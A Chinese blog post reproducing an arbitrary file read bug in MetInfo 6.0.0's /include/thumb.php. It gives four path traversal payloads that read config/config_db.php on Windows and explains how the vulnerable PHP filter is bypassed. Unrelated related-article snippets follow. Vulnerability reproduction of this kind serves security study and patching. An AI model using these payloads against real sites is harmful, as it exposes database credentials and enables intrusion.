metinfo_6.0.0 任意文件读取漏洞复现

漏洞点为/include/thumb.php

一测:/include/thumb.php?dir=..././http/..././config/config_db.php

二测:/include/thumb.php?dir=.....///http/.....///config/config_db.php

三测:/include/thumb.php?dir=http/.....///.....///config/config_db.php

四测:/include/thumb.php?dir=http\..\..\config\config_db.php

注意:此POC 仅适用于Windows 系统,Linux 下无效

$dir = str_replace(array('../','./'), '', $_GET['dir']);

if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){

header("Content-type: image/jpeg");

ob_start();

readfile($dir);

ob_flush();

flush();

            die;

}

这段代码的主要任务是从GET参数dir中获取图片资源并显示出来,但在安全防护方面存在一些问题。
首先,它尝试通过删除用户输入中的 '../' 和 './' 字符串来阻止基本的路径遍历攻击。但是这种方法并不能完全避免所有类型的路径遍历漏洞,因为攻击者可能使用其他方式绕过这些过滤规则。
其次,代码检查了 $dir 是否以 'http://' 或 'https://' 开头,并且不包含 './' 字符。这么做是想防止远程文件包含(RFI)攻击的发生,即不让网站从互联网上的远程URL加载和执行文件。然而,仅仅依赖于这两个条件判断并不足以确保安全性,因为攻击者可能有办法绕过这种限制。
具体来说:
substr(str_replace($_M['url']['site'], '', $dir),0,4) 这行代码的作用是从经过处理的 $dir 字符串中取出前四个字符,看它们是否等于 'http'。如果 $dir 指向的是一个URL,并且该URL是以 'http://' 或 'https://' 开始的,那么这一部分将返回 'http'。
strpos($dir, './') === false 判断 $dir 中是否没有 './' 字符串。如果没有,则表达式为真。
当上述两个条件都满足时,意味着 $dir 指向的是一个不包含 './' 的远程网址。
最后,若这两个条件均满足,程序会直接输出请求的资源内容,并将其响应类型设置为 image/jpeg,即认为它是一个JPEG格式的图片文件。但这样做实际上是允许了远程文件包含,而不是阻止它,从而留下了安全隐患。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/631757.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

面试的那些事儿

先从面试来说 假如你是网申,你的简历必然会经过HR的筛选,一张简历HR可能也就花费10秒钟看一下,然后HR 就会决定你这一关是Fail还是Pass。 假如你是内推,如果你的简历没有什么优势的话,就算是内推你的人再用心&#x…

geopandas 笔记:plot 的scheme

transbigdata 笔记:官方文档案例1(出租车GPS数据处理)-CSDN博客 3.3.1 节的内容的拓展,这里主要是比较各个scheme的效果 主代码为:修改的就是第二行scheme的内容 plt.figure(1,(16, 6), dpi300) schemebox_plot #图…

Kotlin特性学习笔记

1,关键字by修饰类,表示类委托 interface Animation{fun eat() }//动态代理 class Dog:Animation{override fun eat() {println("dog eat oligarch")} }class DogProxy:Animation by Dog(){} 2,关键字by修饰变量,实现属性委托 var name:String by NameDelegate()…

安装脚手架Vue CLI详解!!!

Vue CLI基本介绍: Vue CLI是Vue官方提供的一个全局命令工具。可以帮助我们快速创建一个开发Vue项目的标准化基础架子【集成了webpack配置】 安装脚手架好处: 开箱即用,零配置;内置babel等工具;标准化 安装步骤&#…

回馈科教,非凸科技助力第48届ICPC亚洲区决赛

1月12日-14日,“华为杯”第48届国际大学生程序设计竞赛(ICPC)亚洲区决赛在上海大学成功举办。非凸科技作为此次赛事的支持方之一,希望携手各方共同推动计算机科学和技术的发展。 这是一场智慧的巅峰对决,320支优秀队伍…

HTTP超详细介绍

HTTP讲解 1.HTTP的介绍2.HTTP协议的特点3.HTTP工作原理4.HTTP三点注意事项5.HTTP消息结构6.客户端请求消息7.服务端响应消息8.HTTP请求方法9.HTTP 响应头信息10.HTTP 状态码(HTTP Status Code)10.1.下面是常见的HTTP状态码10.2.HTTP状态码分类10.3.HTTP状…

openssl3.2 - 官方demo学习 - smime - smsign.c

文章目录 openssl3.2 - 官方demo学习 - smime - smsign.c概述笔记END openssl3.2 - 官方demo学习 - smime - smsign.c 概述 从证书中得到X509*和私钥指针 用证书和私钥对铭文进行签名, 得到签名后的pkcs7指针 将pkcs7指向的bio_in, 写为MIME格式的签名密文 BIO_reset() 可以…

【Linux系列】在Pop!OS的启动器中添加自定义程序图标

文章目录 前言一、创建快捷方式二、快捷方式参数三、添加右键菜单和注册MIME 前言 无论是在Windows上,还是Linux,或者安卓这些我们常用的操作系统上,一些应用程序的快捷方式放在桌面或者启动器,只需要简单的点击就可以启动&#…

ABAP IDOC 2 XML

有个需求,外围系统希望我们给到一个IDOC 记录的样例,但是我们we02中并无法看到 就找了一个demo去直接展示IDOC内容 *&---------------------------------------------------------------------* *& Report Z_IDOC_TO_XML *&------------…

【性能调优】local模式下flink处理离线任务能力分析

文章目录 一. flink的内存管理1.Jobmanager的内存模型2.TaskManager的内存模型2.1. 模型说明2.2. 通讯、数据传输方面2.3. 框架、任务堆外内存2.4. 托管内存 3.任务分析 二. 单个节点的带宽瓶颈1. 带宽相关理论2. 使用speedtest-cli 测试带宽3. 任务分析3. 其他工具使用介绍 本…

定制数据采集分析系统——为实现工业物联打下坚实基础

在这个工业4.0或者“工业互联网”的大背景下,工业物联网成为数字化转型中心舞台的一部分。数据是相关产品中的关键资产和生产资料,且在全球连接的产品(在整个生命周期中)的应用分析中是必不可少的功能。 工业物联网是将具有感知、监控能力的各类采集、控…

MAC相关

MAC地址,英文全称Medium Access Control,直译为介质访问控制,它通常被固化在每个以太网网卡(NIC,Network Interface Card)。MAC(硬件)地址长48位(6字节),采用…

#LLMOps##AIGC# Dify_构建本地知识库问答应用-生成Al应用的创新引擎 用于构建助手API和GPT的开源开发平台

github: https://github.com/langgenius/dify/blob/main/README_CN.md 介绍文档:https://docs.dify.ai/getting-started/readme Dify 介绍 Dify 笔记 Dify 是什么? 开源的大语言模型(LLM)应用开发平台融合了后端即服…

MySQL 8.0中引入的选项和变量(五)

以下是在MySQL 8.0中新增的系统变量、状态变量和服务选项: • innodb_scan_directories: 定义在InnoDB恢复过程中扫描的表空间文件的目录。MySQL 8.0.2中添加。 • innodb_segment_reserve_factor: 作为空页保留的表空间文件段页面的百分比。MySQL 8.0.26中添加。 …

c语言出现打印烫烫烫烫烫烫问题

系列文章目录 c语言出现打印烫烫烫烫烫烫问题 c语言出现打印烫烫烫烫烫烫问题 系列文章目录一、报错现象二、原因三、解决方法 一、报错现象 二、原因 字符数组初始化用这种方式初始化 %s是以字符串打印,获取是地址,%s会接受字符串结束标志[‘\0’]之前的…

改善python程序的91建议记录(学习记录)

使用else子句简化循环(异常处理) 案例1 执行sql异常时处理 def save(db, obj):try:# save attr1db.execute(a sql stmt, obj.attr1)# save attr2db.execute(another sql stmt, obj.attr2)except DBError:db.rollback()else:db.commit()案例2 def prin…

阿里云 linux Centos7 安装 Miniconda3 + 创建Python环境

1.下载miniconda (1)法一:可以去下载清华源的miniconda镜像源,选择自己需要的版本,然后上传到Linux服务器上,linux上使用请选择linux版本,如下: (2)法二&…

C //练习 7-8 编写一个程序,以打印一个文件集合,每个文件从新的一页开始打印,并且打印每个文件相应的标题和页数。

C程序设计语言 (第二版) 练习 7-8 练习 7-8 编写一个程序,以打印一个文件集合,每个文件从新的一页开始打印,并且打印每个文件相应的标题和页数。 注意:代码在win32控制台运行,在不同的IDE环境…

日志项目1

文章目录 【C - 基于多设计模式下的同步&异步日志系统】项目介绍 前置技术1. 项目介绍2. 开发环境3. 核心技术4. 环境搭建5. 日志系统介绍5.1 为什么需要日志系统5.2 日志系统技术实现5.2.1 同步写日志5.2.2 异步写日志 6. 前置技术补充6.1 不定参函数6.1.1 不定参宏函数6…

24年地信专业各大院校,考研真题合集

2024年云南师范大学人文地理学考研真题 一、简答题 1. 人文地理学科的任务 2. 文化生态关系的类型与特点人口出生率低的影响因素现代农业的类型与特点 3. 发展中国家工业发展中存在的问题 二、分析题 1. 结合实例说明城市地域结构模型及主要动力 2. 结合实例论述区域协作组织对…